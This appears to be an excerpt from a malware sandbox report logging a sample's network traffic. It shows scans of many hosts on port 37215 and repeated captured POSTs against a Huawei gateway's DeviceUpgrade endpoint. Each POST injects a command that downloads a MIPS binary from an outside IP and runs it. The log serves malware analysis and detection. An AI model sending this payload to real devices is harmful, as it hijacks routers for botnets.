Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.97.137.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.158.131.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.7.135.92:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 197.97.27.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 197.251.231.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.209.196.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.211.120.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.38.108.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.207.184.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 197.157.248.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.64.224.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.253.56.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 197.105.108.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 197.8.200.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.74.119.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.129.232.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.72.28.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.197.112.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.28.252.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.141.26.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.142.77.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 197.47.2.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.175.114.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.174.139.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 197.18.235.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.15.233.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.137.144.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.228.119.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.80.67.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.114.233.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.115.66.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.128.222.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.227.8.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 197.244.94.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.175.216.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.110.192.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 197.5.205.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.0.1.44:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.76.55.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.63.134.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.194.206.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.250.192.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 197.212.83.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.79.26.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 197.202.12.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.71.43.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 197.86.63.46:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.215.26.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 197.147.86.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 197.129.194.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.115.255.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.236.128.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.195.137.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.140.15.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.253.197.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 197.151.52.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.168.139.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.100.250.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.60.113.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.179.101.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.42.94.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.191.15.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 197.69.110.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.1.44.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.200.240.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 156.248.168.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:40832 -> 41.26.201.253:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
